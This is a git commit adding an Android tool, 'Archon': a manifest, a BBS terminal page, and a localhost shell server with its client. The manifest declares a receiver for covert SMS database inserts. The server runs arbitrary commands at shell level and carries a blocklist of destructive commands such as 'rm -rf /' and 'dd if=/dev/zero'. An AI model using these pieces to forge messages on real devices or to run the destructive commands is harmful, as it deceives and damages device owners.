Autarch Will Control The Internet

This commit is contained in:
DigiJ
2026-03-13 15:17:15 -07:00
commit 4d3570781e
401 changed files with 484494 additions and 0 deletions

View File

@@ -0,0 +1,65 @@
plugins {
id("com.android.application")
}
android {
namespace = "com.darkhal.archon"
compileSdk = 36
defaultConfig {
applicationId = "com.darkhal.archon"
minSdk = 26
targetSdk = 36
versionCode = 2
versionName = "2.0.0"
}
buildTypes {
release {
isMinifyEnabled = false
proguardFiles(
getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro"
)
}
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_21
targetCompatibility = JavaVersion.VERSION_21
}
kotlin {
jvmToolchain(21)
}
buildFeatures {
viewBinding = true
}
packaging {
jniLibs {
useLegacyPackaging = false
}
}
}
dependencies {
implementation("androidx.core:core-ktx:1.12.0")
implementation("androidx.appcompat:appcompat:1.6.1")
implementation("com.google.android.material:material:1.11.0")
implementation("androidx.constraintlayout:constraintlayout:2.1.4")
implementation("androidx.navigation:navigation-fragment-ktx:2.7.7")
implementation("androidx.navigation:navigation-ui-ktx:2.7.7")
implementation("androidx.preference:preference-ktx:1.2.1")
implementation("androidx.webkit:webkit:1.10.0")
// Local ADB client (wireless debugging pairing + shell)
implementation("com.github.MuntashirAkon:libadb-android:3.1.1")
implementation("org.conscrypt:conscrypt-android:2.5.3")
// Shizuku for elevated access (SMS/RCS operations)
implementation("dev.rikka.shizuku:api:13.1.5")
implementation("dev.rikka.shizuku:provider:13.1.5")
}

View File

@@ -0,0 +1,142 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<!-- Wi-Fi Direct -->
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.NEARBY_WIFI_DEVICES"
android:usesPermissionFlags="neverForLocation"
android:minSdkVersion="33" />
<!-- Notifications (Android 13+) -->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<!-- SMS manipulation (covert database insert, not actual sending) -->
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECEIVE_MMS" />
<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<!-- Bluetooth discovery -->
<uses-permission android:name="android.permission.BLUETOOTH" android:maxSdkVersion="30" />
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN" android:maxSdkVersion="30" />
<uses-permission android:name="android.permission.BLUETOOTH_SCAN"
android:usesPermissionFlags="neverForLocation"
android:minSdkVersion="31" />
<uses-permission android:name="android.permission.BLUETOOTH_CONNECT" android:minSdkVersion="31" />
<!-- Optional hardware features -->
<uses-feature android:name="android.hardware.bluetooth" android:required="false" />
<uses-feature android:name="android.hardware.wifi.direct" android:required="false" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_archon"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/Theme.Archon"
android:usesCleartextTraffic="true">
<!-- Shizuku provider for elevated access -->
<provider
android:name="rikka.shizuku.ShizukuProvider"
android:authorities="${applicationId}.shizuku"
android:multiprocess="false"
android:enabled="true"
android:exported="true"
android:permission="android.permission.INTERACT_ACROSS_USERS_FULL" />
<meta-data
android:name="moe.shizuku.client.V3_PROVIDER_AUTHORITIES"
android:value="${applicationId}.shizuku" />
<activity
android:name=".LoginActivity"
android:exported="true"
android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name=".MainActivity"
android:exported="false"
android:screenOrientation="portrait" />
<receiver
android:name=".service.PairingReceiver"
android:exported="false">
<intent-filter>
<action android:name="com.darkhal.archon.ACTION_PAIR" />
</intent-filter>
</receiver>
<!-- SMS Worker: handles covert SMS insert/update from ADB broadcasts -->
<receiver
android:name=".service.SmsWorker"
android:exported="true">
<intent-filter>
<action android:name="com.darkhal.archon.SMS_INSERT" />
<action android:name="com.darkhal.archon.SMS_UPDATE" />
</intent-filter>
</receiver>
<!-- SMS Role stubs (required for cmd role add-role-holder) -->
<receiver
android:name=".service.SmsDeliverReceiver"
android:exported="true"
android:permission="android.permission.BROADCAST_SMS">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_DELIVER" />
</intent-filter>
</receiver>
<receiver
android:name=".service.MmsDeliverReceiver"
android:exported="true"
android:permission="android.permission.BROADCAST_WAP_PUSH">
<intent-filter>
<action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
<data android:mimeType="application/vnd.wap.mms-message" />
</intent-filter>
</receiver>
<service
android:name=".service.RespondViaMessageService"
android:exported="true"
android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
<intent-filter>
<action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
<data android:scheme="sms" />
<data android:scheme="smsto" />
<data android:scheme="mms" />
<data android:scheme="mmsto" />
</intent-filter>
</service>
<activity
android:name=".service.SmsComposeActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<action android:name="android.intent.action.SENDTO" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="sms" />
<data android:scheme="smsto" />
<data android:scheme="mms" />
<data android:scheme="mmsto" />
</intent-filter>
</activity>
</application>
</manifest>

View File

@@ -0,0 +1,54 @@
#!/system/bin/sh
# arish — Archon Remote Interactive Shell
# Like Shizuku's "rish" but for the Archon privileged server.
#
# This script finds the Archon APK and launches ArchonRish via app_process,
# which connects to the running ArchonServer and provides an interactive
# shell at UID 2000 (shell-level privileges).
#
# Installation:
# adb push arish /data/local/tmp/arish
# adb shell chmod 755 /data/local/tmp/arish
#
# Usage:
# /data/local/tmp/arish — interactive shell
# /data/local/tmp/arish ls -la /data — single command
# /data/local/tmp/arish -t <token> — specify auth token
# /data/local/tmp/arish -p <port> — specify server port
PACKAGE="com.darkhal.archon"
# Find the APK path
APK_PATH=""
# Method 1: pm path (works if pm is available)
if command -v pm >/dev/null 2>&1; then
APK_PATH=$(pm path "$PACKAGE" 2>/dev/null | head -1 | sed 's/^package://')
fi
# Method 2: Known install locations
if [ -z "$APK_PATH" ]; then
for dir in /data/app/*"$PACKAGE"*; do
if [ -f "$dir/base.apk" ]; then
APK_PATH="$dir/base.apk"
break
fi
done
fi
# Method 3: Check /data/local/tmp for sideloaded APK
if [ -z "$APK_PATH" ] && [ -f "/data/local/tmp/archon.apk" ]; then
APK_PATH="/data/local/tmp/archon.apk"
fi
if [ -z "$APK_PATH" ]; then
echo "arish: cannot find Archon APK ($PACKAGE)"
echo "arish: install the Archon app or place archon.apk in /data/local/tmp/"
exit 1
fi
# Launch ArchonRish via app_process
export CLASSPATH="$APK_PATH"
exec /system/bin/app_process /system/bin \
--nice-name=arish \
com.darkhal.archon.server.ArchonRish "$@"

View File

@@ -0,0 +1,28 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<title>Autarch BBS</title>
<link rel="stylesheet" href="terminal.css">
</head>
<body>
<div id="terminal">
<div id="header">
<pre id="banner">
╔══════════════════════════════════════╗
║ AUTARCH BBS v1.0 ║
║ Secured by Veilid Protocol ║
╚══════════════════════════════════════╝
</pre>
</div>
<div id="output"></div>
<div id="input-line">
<span class="prompt">&gt;</span>
<input type="text" id="cmd-input" autocomplete="off" autocorrect="off"
autocapitalize="off" spellcheck="false" autofocus>
</div>
</div>
<script src="veilid-bridge.js"></script>
</body>
</html>

View File

@@ -0,0 +1,128 @@
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: #000000;
color: #00FF41;
font-family: 'Source Code Pro', 'Courier New', monospace;
font-size: 14px;
line-height: 1.4;
overflow: hidden;
height: 100vh;
width: 100vw;
}
#terminal {
display: flex;
flex-direction: column;
height: 100vh;
padding: 8px;
}
#header {
flex-shrink: 0;
margin-bottom: 8px;
}
#banner {
color: #00FF41;
font-size: 12px;
line-height: 1.2;
text-align: center;
}
#output {
flex: 1;
overflow-y: auto;
padding-bottom: 8px;
word-wrap: break-word;
}
#output .line {
margin-bottom: 2px;
}
#output .system {
color: #888888;
}
#output .error {
color: #FF4444;
}
#output .info {
color: #00AAFF;
}
#output .success {
color: #00FF41;
}
#input-line {
display: flex;
align-items: center;
flex-shrink: 0;
border-top: 1px solid #333333;
padding-top: 8px;
}
.prompt {
color: #00FF41;
margin-right: 8px;
font-weight: bold;
}
#cmd-input {
flex: 1;
background: transparent;
border: none;
outline: none;
color: #00FF41;
font-family: 'Source Code Pro', 'Courier New', monospace;
font-size: 14px;
caret-color: #00FF41;
}
/* Blinking cursor effect */
@keyframes blink {
0%, 100% { opacity: 1; }
50% { opacity: 0; }
}
#cmd-input:focus {
animation: none;
}
/* Scrollbar */
#output::-webkit-scrollbar {
width: 4px;
}
#output::-webkit-scrollbar-track {
background: #111111;
}
#output::-webkit-scrollbar-thumb {
background: #333333;
border-radius: 2px;
}
#output::-webkit-scrollbar-thumb:hover {
background: #00FF41;
}
/* Loading animation */
.loading::after {
content: '';
animation: dots 1.5s steps(3, end) infinite;
}
@keyframes dots {
0% { content: ''; }
33% { content: '.'; }
66% { content: '..'; }
100% { content: '...'; }
}

View File

@@ -0,0 +1,225 @@
/**
* Autarch BBS — Veilid Bridge
*
* Handles the BBS terminal interface and will integrate with
* veilid-wasm when the BBS server is deployed on the VPS.
*
* Native Android bridge: window.ArchonBridge
*/
const output = document.getElementById('output');
const cmdInput = document.getElementById('cmd-input');
// Terminal output helpers
function writeLine(text, className) {
const div = document.createElement('div');
div.className = 'line' + (className ? ' ' + className : '');
div.textContent = text;
output.appendChild(div);
output.scrollTop = output.scrollHeight;
}
function writeSystem(text) { writeLine(text, 'system'); }
function writeError(text) { writeLine(text, 'error'); }
function writeInfo(text) { writeLine(text, 'info'); }
function writeSuccess(text) { writeLine(text, 'success'); }
/**
* VeilidBBS — placeholder for Veilid WASM integration.
*
* When the BBS server is deployed, this class will:
* 1. Load veilid-wasm from bundled assets
* 2. Initialize a Veilid routing context
* 3. Connect to the BBS server via DHT key
* 4. Send/receive messages through the Veilid network
*/
class VeilidBBS {
constructor() {
this.connected = false;
this.serverAddress = '';
}
async initialize() {
// Get config from native bridge
if (window.ArchonBridge) {
this.serverAddress = window.ArchonBridge.getServerAddress();
const configJson = window.ArchonBridge.getVeilidConfig();
this.config = JSON.parse(configJson);
this.log('Veilid config loaded');
}
}
async connect() {
if (!this.serverAddress) {
writeError('No BBS server address configured.');
writeSystem('Set the Veilid BBS address in Settings.');
return false;
}
writeSystem('Connecting to Autarch BBS...');
writeSystem('Server: ' + this.serverAddress);
// Placeholder — actual Veilid connection will go here
// Steps when implemented:
// 1. await veilid.veilidCoreStartupJSON(config)
// 2. await veilid.veilidCoreAttach()
// 3. Create routing context
// 4. Open route to BBS server DHT key
// 5. Send/receive via app_message / app_call
writeError('Veilid WASM not yet loaded.');
writeSystem('BBS server deployment pending.');
writeSystem('');
writeInfo('The Autarch BBS will be available once the');
writeInfo('VPS server is configured and the Veilid');
writeInfo('WASM module is bundled into this app.');
writeSystem('');
return false;
}
async sendMessage(msg) {
if (!this.connected) {
writeError('Not connected to BBS.');
return;
}
// Placeholder for sending messages via Veilid
this.log('Send: ' + msg);
}
async disconnect() {
this.connected = false;
writeSystem('Disconnected from BBS.');
}
log(msg) {
if (window.ArchonBridge) {
window.ArchonBridge.log(msg);
}
console.log('[VeilidBBS] ' + msg);
}
}
// Command handler
const bbs = new VeilidBBS();
const commandHistory = [];
let historyIndex = -1;
const commands = {
help: function() {
writeInfo('Available commands:');
writeLine(' help — Show this help');
writeLine(' connect — Connect to Autarch BBS');
writeLine(' disconnect — Disconnect from BBS');
writeLine(' status — Show connection status');
writeLine(' clear — Clear terminal');
writeLine(' about — About Autarch BBS');
writeLine(' version — Show version info');
},
connect: async function() {
await bbs.connect();
},
disconnect: async function() {
await bbs.disconnect();
},
status: function() {
writeInfo('Connection Status:');
writeLine(' Connected: ' + (bbs.connected ? 'YES' : 'NO'));
writeLine(' Server: ' + (bbs.serverAddress || 'not configured'));
if (window.ArchonBridge) {
writeLine(' Archon URL: ' + window.ArchonBridge.getAutarchUrl());
}
},
clear: function() {
output.innerHTML = '';
},
about: function() {
writeInfo('╔════════════════════════════════════╗');
writeInfo('║ AUTARCH BBS ║');
writeInfo('╠════════════════════════════════════╣');
writeLine('║ A decentralized bulletin board ║');
writeLine('║ system secured by the Veilid ║');
writeLine('║ protocol. All communications are ║');
writeLine('║ end-to-end encrypted and routed ║');
writeLine('║ through an onion-style network. ║');
writeInfo('╚════════════════════════════════════╝');
},
version: function() {
let ver = '1.0.0';
if (window.ArchonBridge) {
ver = window.ArchonBridge.getAppVersion();
}
writeLine('Archon v' + ver);
writeLine('Veilid WASM: not loaded (pending deployment)');
}
};
function processCommand(input) {
const trimmed = input.trim();
if (!trimmed) return;
writeLine('> ' + trimmed);
commandHistory.push(trimmed);
historyIndex = commandHistory.length;
const parts = trimmed.split(/\s+/);
const cmd = parts[0].toLowerCase();
if (commands[cmd]) {
commands[cmd](parts.slice(1));
} else if (bbs.connected) {
// If connected, send as BBS message
bbs.sendMessage(trimmed);
} else {
writeError('Unknown command: ' + cmd);
writeSystem('Type "help" for available commands.');
}
}
// Input handling
cmdInput.addEventListener('keydown', function(e) {
if (e.key === 'Enter') {
processCommand(this.value);
this.value = '';
} else if (e.key === 'ArrowUp') {
e.preventDefault();
if (historyIndex > 0) {
historyIndex--;
this.value = commandHistory[historyIndex];
}
} else if (e.key === 'ArrowDown') {
e.preventDefault();
if (historyIndex < commandHistory.length - 1) {
historyIndex++;
this.value = commandHistory[historyIndex];
} else {
historyIndex = commandHistory.length;
this.value = '';
}
}
});
// Keep input focused
document.addEventListener('click', function() {
cmdInput.focus();
});
// Startup
(async function() {
writeSuccess('AUTARCH BBS Terminal v1.0');
writeSystem('Initializing...');
writeSystem('');
await bbs.initialize();
writeSystem('Type "help" for commands.');
writeSystem('Type "connect" to connect to the BBS.');
writeSystem('');
cmdInput.focus();
})();

View File

@@ -0,0 +1,311 @@
package com.darkhal.archon.server;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
/**
* Archon Remote Interactive Shell (arish) — like Shizuku's "rish" but for Archon.
*
* Connects to the running ArchonServer on localhost and provides an interactive
* shell at UID 2000 (shell privileges). This gives terminal users the same
* elevated access that the Archon app modules use internally.
*
* Usage (from adb shell or terminal emulator):
* arish — interactive shell
* arish <command> — execute single command
* arish -t <token> — specify auth token
* arish -p <port> — specify server port
* echo "pm list packages" | arish — pipe commands
*
* The "arish" shell script in assets/ sets up CLASSPATH and invokes this via app_process.
*
* Bootstrap:
* CLASSPATH='/data/app/.../base.apk' /system/bin/app_process /system/bin \
* --nice-name=arish com.darkhal.archon.server.ArchonRish [args...]
*/
public class ArchonRish {
private static final String DEFAULT_TOKEN_FILE = "/data/local/tmp/.archon_token";
private static final int DEFAULT_PORT = 17321;
private static final int CONNECT_TIMEOUT = 3000;
private static final int READ_TIMEOUT = 30000;
public static void main(String[] args) {
String token = null;
int port = DEFAULT_PORT;
String singleCmd = null;
boolean showHelp = false;
// Parse arguments
int i = 0;
while (i < args.length) {
switch (args[i]) {
case "-t":
case "--token":
if (i + 1 < args.length) {
token = args[++i];
}
break;
case "-p":
case "--port":
if (i + 1 < args.length) {
port = Integer.parseInt(args[++i]);
}
break;
case "-h":
case "--help":
showHelp = true;
break;
default:
// Everything else is a command to execute
StringBuilder sb = new StringBuilder();
for (int j = i; j < args.length; j++) {
if (j > i) sb.append(' ');
sb.append(args[j]);
}
singleCmd = sb.toString();
i = args.length; // break outer loop
break;
}
i++;
}
if (showHelp) {
printHelp();
return;
}
// Try to read token from file if not provided
if (token == null) {
token = readTokenFile();
}
if (token == null) {
System.err.println("arish: no auth token. Use -t <token> or ensure ArchonServer wrote " + DEFAULT_TOKEN_FILE);
System.exit(1);
}
// Check if stdin is a pipe (non-interactive)
boolean isPiped = false;
try {
isPiped = System.in.available() > 0 || singleCmd != null;
} catch (Exception e) {
// Assume interactive
}
if (singleCmd != null) {
// Single command mode
int exitCode = executeRemote(token, port, singleCmd);
System.exit(exitCode);
} else if (isPiped) {
// Pipe mode — read commands from stdin
runPiped(token, port);
} else {
// Interactive mode
runInteractive(token, port);
}
}
private static void runInteractive(String token, int port) {
System.out.println("arish — Archon Remote Interactive Shell (UID 2000)");
System.out.println("Connected to ArchonServer on localhost:" + port);
System.out.println("Type 'exit' to quit.\n");
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
while (true) {
System.out.print("arish$ ");
System.out.flush();
String line;
try {
line = stdin.readLine();
} catch (Exception e) {
break;
}
if (line == null) break; // EOF
line = line.trim();
if (line.isEmpty()) continue;
if (line.equals("exit") || line.equals("quit")) break;
executeRemote(token, port, line);
}
System.out.println("\narish: disconnected");
}
private static void runPiped(String token, int port) {
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
int lastExit = 0;
try {
String line;
while ((line = stdin.readLine()) != null) {
line = line.trim();
if (line.isEmpty() || line.startsWith("#")) continue;
lastExit = executeRemote(token, port, line);
}
} catch (Exception e) {
System.err.println("arish: read error: " + e.getMessage());
}
System.exit(lastExit);
}
private static int executeRemote(String token, int port, String command) {
try {
InetAddress loopback = InetAddress.getByName("127.0.0.1");
Socket sock = new Socket();
sock.connect(new java.net.InetSocketAddress(loopback, port), CONNECT_TIMEOUT);
sock.setSoTimeout(READ_TIMEOUT);
PrintWriter writer = new PrintWriter(new OutputStreamWriter(sock.getOutputStream()), true);
BufferedReader reader = new BufferedReader(new InputStreamReader(sock.getInputStream()));
// Send command as JSON
String json = "{\"token\":\"" + escapeJson(token) + "\","
+ "\"cmd\":\"" + escapeJson(command) + "\","
+ "\"timeout\":30}";
writer.println(json);
writer.flush();
// Read response
String response = reader.readLine();
sock.close();
if (response == null) {
System.err.println("arish: no response from server");
return -1;
}
// Parse JSON response (minimal hand-parsing, same as ArchonServer pattern)
String stdout = extractJsonString(response, "stdout");
String stderr = extractJsonString(response, "stderr");
int exitCode = extractJsonInt(response, "exit_code", -1);
if (stdout != null && !stdout.isEmpty()) {
System.out.print(stdout);
if (!stdout.endsWith("\n")) System.out.println();
}
if (stderr != null && !stderr.isEmpty()) {
System.err.print(stderr);
if (!stderr.endsWith("\n")) System.err.println();
}
return exitCode;
} catch (java.net.ConnectException e) {
System.err.println("arish: cannot connect to ArchonServer on localhost:" + port);
System.err.println("arish: is the server running? Check Setup tab in Archon app.");
return -1;
} catch (Exception e) {
System.err.println("arish: error: " + e.getMessage());
return -1;
}
}
// ── JSON Helpers (hand-rolled, no library dependencies) ──────
private static String escapeJson(String s) {
if (s == null) return "";
StringBuilder sb = new StringBuilder();
for (int j = 0; j < s.length(); j++) {
char c = s.charAt(j);
switch (c) {
case '"': sb.append("\\\""); break;
case '\\': sb.append("\\\\"); break;
case '\n': sb.append("\\n"); break;
case '\r': sb.append("\\r"); break;
case '\t': sb.append("\\t"); break;
default: sb.append(c); break;
}
}
return sb.toString();
}
private static String extractJsonString(String json, String key) {
String searchKey = "\"" + key + "\":\"";
int start = json.indexOf(searchKey);
if (start < 0) return "";
start += searchKey.length();
StringBuilder sb = new StringBuilder();
boolean escape = false;
for (int j = start; j < json.length(); j++) {
char c = json.charAt(j);
if (escape) {
switch (c) {
case 'n': sb.append('\n'); break;
case 'r': sb.append('\r'); break;
case 't': sb.append('\t'); break;
case '"': sb.append('"'); break;
case '\\': sb.append('\\'); break;
default: sb.append(c); break;
}
escape = false;
} else if (c == '\\') {
escape = true;
} else if (c == '"') {
break;
} else {
sb.append(c);
}
}
return sb.toString();
}
private static int extractJsonInt(String json, String key, int defaultValue) {
// Try "key":N pattern
String searchKey = "\"" + key + "\":";
int start = json.indexOf(searchKey);
if (start < 0) return defaultValue;
start += searchKey.length();
StringBuilder sb = new StringBuilder();
for (int j = start; j < json.length(); j++) {
char c = json.charAt(j);
if (c == '-' || (c >= '0' && c <= '9')) {
sb.append(c);
} else {
break;
}
}
try {
return Integer.parseInt(sb.toString());
} catch (NumberFormatException e) {
return defaultValue;
}
}
private static String readTokenFile() {
try {
java.io.File f = new java.io.File(DEFAULT_TOKEN_FILE);
if (!f.exists()) return null;
BufferedReader br = new BufferedReader(new java.io.FileReader(f));
String token = br.readLine();
br.close();
if (token != null) token = token.trim();
return (token != null && !token.isEmpty()) ? token : null;
} catch (Exception e) {
return null;
}
}
private static void printHelp() {
System.out.println("arish — Archon Remote Interactive Shell");
System.out.println();
System.out.println("Usage:");
System.out.println(" arish Interactive shell (UID 2000)");
System.out.println(" arish <command> Execute single command");
System.out.println(" arish -t <token> Specify auth token");
System.out.println(" arish -p <port> Specify server port (default: 17321)");
System.out.println(" echo \"cmd\" | arish Pipe commands");
System.out.println();
System.out.println("The ArchonServer must be running (start from the Archon app Setup tab).");
System.out.println("Commands execute at UID 2000 (shell) — same as adb shell.");
System.out.println();
System.out.println("Token is read from " + DEFAULT_TOKEN_FILE + " if not specified.");
System.out.println("The Archon app writes this file when the server starts.");
}
}

View File

@@ -0,0 +1,380 @@
package com.darkhal.archon.server;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketTimeoutException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
/**
* Archon Privileged Server — runs via app_process at shell (UID 2000) level.
*
* Started via ADB:
* CLASSPATH=/data/app/.../base.apk app_process /system/bin \
* --nice-name=archon_server com.darkhal.archon.server.ArchonServer <token> <port>
*
* Listens on localhost:<port> for JSON commands authenticated with a token.
* Modeled after Shizuku's server architecture but uses TCP sockets instead of Binder IPC.
*
* Protocol (JSON over TCP, newline-delimited):
* Request: {"token":"xxx","cmd":"pm list packages","timeout":30}
* Response: {"stdout":"...","stderr":"...","exit_code":0}
*
* Special commands:
* {"token":"xxx","cmd":"__ping__"} → {"stdout":"pong","stderr":"","exit_code":0}
* {"token":"xxx","cmd":"__shutdown__"} → server exits gracefully
* {"token":"xxx","cmd":"__info__"} → {"stdout":"uid=2000 pid=... uptime=...","stderr":"","exit_code":0}
*/
public class ArchonServer {
private static final String TAG = "ArchonServer";
private static final String LOG_FILE = "/data/local/tmp/archon_server.log";
private static final int DEFAULT_TIMEOUT = 30;
private static final int SOCKET_TIMEOUT = 0; // No timeout on accept (blocking)
// Safety blocklist — commands that could brick the device
private static final String[] BLOCKED_PATTERNS = {
"rm -rf /",
"rm -rf /*",
"mkfs",
"dd if=/dev/zero",
"reboot",
"shutdown",
"init 0",
"init 6",
"flash_image",
"erase_image",
"format_data",
"> /dev/block",
};
private static String authToken;
private static int listenPort;
private static final AtomicBoolean running = new AtomicBoolean(true);
private static ExecutorService executor;
private static long startTime;
public static void main(String[] args) {
if (args.length < 2) {
System.err.println("Usage: ArchonServer <token> <port>");
System.exit(1);
}
authToken = args[0];
listenPort = Integer.parseInt(args[1]);
startTime = System.currentTimeMillis();
log("Starting Archon Server on port " + listenPort);
log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid());
// Handle SIGTERM for graceful shutdown
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
log("Shutdown hook triggered");
running.set(false);
if (executor != null) {
executor.shutdownNow();
}
}));
executor = Executors.newCachedThreadPool();
try {
// Bind to localhost only — not accessible from network
InetAddress loopback = InetAddress.getByName("127.0.0.1");
ServerSocket serverSocket = new ServerSocket(listenPort, 5, loopback);
log("Listening on 127.0.0.1:" + listenPort);
while (running.get()) {
try {
Socket client = serverSocket.accept();
client.setSoTimeout(60000); // 60s read timeout per connection
executor.submit(() -> handleClient(client));
} catch (SocketTimeoutException e) {
// Expected, loop continues
} catch (IOException e) {
if (running.get()) {
log("Accept error: " + e.getMessage());
}
}
}
serverSocket.close();
} catch (IOException e) {
log("Fatal: " + e.getMessage());
System.exit(2);
}
log("Server stopped");
if (executor != null) {
executor.shutdown();
try {
executor.awaitTermination(5, TimeUnit.SECONDS);
} catch (InterruptedException ignored) {}
}
System.exit(0);
}
private static void handleClient(Socket client) {
String clientAddr = client.getRemoteSocketAddress().toString();
log("Client connected: " + clientAddr);
try (
BufferedReader reader = new BufferedReader(new InputStreamReader(client.getInputStream()));
PrintWriter writer = new PrintWriter(new OutputStreamWriter(client.getOutputStream()), true)
) {
String line;
while ((line = reader.readLine()) != null) {
String response = processRequest(line);
writer.println(response);
writer.flush();
// Check if we should shut down after this request
if (!running.get()) {
break;
}
}
} catch (IOException e) {
log("Client error: " + e.getMessage());
} finally {
try { client.close(); } catch (IOException ignored) {}
log("Client disconnected: " + clientAddr);
}
}
private static String processRequest(String json) {
// Simple JSON parsing without dependencies
String token = extractJsonString(json, "token");
String cmd = extractJsonString(json, "cmd");
int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT);
// No-auth alive check — allows any client to verify server is running
if ("__alive__".equals(cmd)) {
return jsonResponse("alive", "", 0);
}
// Verify auth token
if (token == null || !token.equals(authToken)) {
log("Auth failed from request");
return jsonResponse("", "Authentication failed", -1);
}
if (cmd == null || cmd.isEmpty()) {
return jsonResponse("", "No command specified", -1);
}
// Handle special commands
switch (cmd) {
case "__ping__":
return jsonResponse("pong", "", 0);
case "__shutdown__":
log("Shutdown requested");
running.set(false);
return jsonResponse("Server shutting down", "", 0);
case "__info__":
long uptime = (System.currentTimeMillis() - startTime) / 1000;
String info = "uid=" + android.os.Process.myUid() +
" pid=" + android.os.Process.myPid() +
" uptime=" + uptime + "s";
return jsonResponse(info, "", 0);
}
// Safety check
if (isBlocked(cmd)) {
log("BLOCKED dangerous command: " + cmd);
return jsonResponse("", "Command blocked by safety filter", -1);
}
// Execute the command
return executeCommand(cmd, timeout);
}
private static boolean isBlocked(String cmd) {
String lower = cmd.toLowerCase(Locale.ROOT).trim();
for (String pattern : BLOCKED_PATTERNS) {
if (lower.contains(pattern.toLowerCase(Locale.ROOT))) {
return true;
}
}
return false;
}
private static String executeCommand(String cmd, int timeoutSec) {
try {
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
pb.redirectErrorStream(false);
Process process = pb.start();
// Read stdout and stderr in parallel to avoid deadlocks
StringBuilder stdout = new StringBuilder();
StringBuilder stderr = new StringBuilder();
Thread stdoutThread = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (stdout.length() > 0) stdout.append("\n");
stdout.append(line);
}
} catch (IOException ignored) {}
});
Thread stderrThread = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (stderr.length() > 0) stderr.append("\n");
stderr.append(line);
}
} catch (IOException ignored) {}
});
stdoutThread.start();
stderrThread.start();
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
if (!completed) {
process.destroyForcibly();
stdoutThread.join(1000);
stderrThread.join(1000);
return jsonResponse(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1);
}
stdoutThread.join(5000);
stderrThread.join(5000);
return jsonResponse(stdout.toString(), stderr.toString(), process.exitValue());
} catch (Exception e) {
return jsonResponse("", "Execution error: " + e.getMessage(), -1);
}
}
// ── JSON helpers (no library dependencies) ──────────────────────
private static String jsonResponse(String stdout, String stderr, int exitCode) {
return "{\"stdout\":" + jsonEscape(stdout) +
",\"stderr\":" + jsonEscape(stderr) +
",\"exit_code\":" + exitCode + "}";
}
private static String jsonEscape(String s) {
if (s == null) return "\"\"";
StringBuilder sb = new StringBuilder("\"");
for (int i = 0; i < s.length(); i++) {
char c = s.charAt(i);
switch (c) {
case '"': sb.append("\\\""); break;
case '\\': sb.append("\\\\"); break;
case '\b': sb.append("\\b"); break;
case '\f': sb.append("\\f"); break;
case '\n': sb.append("\\n"); break;
case '\r': sb.append("\\r"); break;
case '\t': sb.append("\\t"); break;
default:
if (c < 0x20) {
sb.append(String.format("\\u%04x", (int) c));
} else {
sb.append(c);
}
}
}
sb.append("\"");
return sb.toString();
}
private static String extractJsonString(String json, String key) {
// Pattern: "key":"value" or "key": "value"
String search = "\"" + key + "\"";
int idx = json.indexOf(search);
if (idx < 0) return null;
idx = json.indexOf(':', idx + search.length());
if (idx < 0) return null;
// Skip whitespace
idx++;
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
if (idx >= json.length() || json.charAt(idx) != '"') return null;
idx++; // skip opening quote
StringBuilder sb = new StringBuilder();
while (idx < json.length()) {
char c = json.charAt(idx);
if (c == '\\' && idx + 1 < json.length()) {
char next = json.charAt(idx + 1);
switch (next) {
case '"': sb.append('"'); break;
case '\\': sb.append('\\'); break;
case 'n': sb.append('\n'); break;
case 'r': sb.append('\r'); break;
case 't': sb.append('\t'); break;
default: sb.append(next); break;
}
idx += 2;
} else if (c == '"') {
break;
} else {
sb.append(c);
idx++;
}
}
return sb.toString();
}
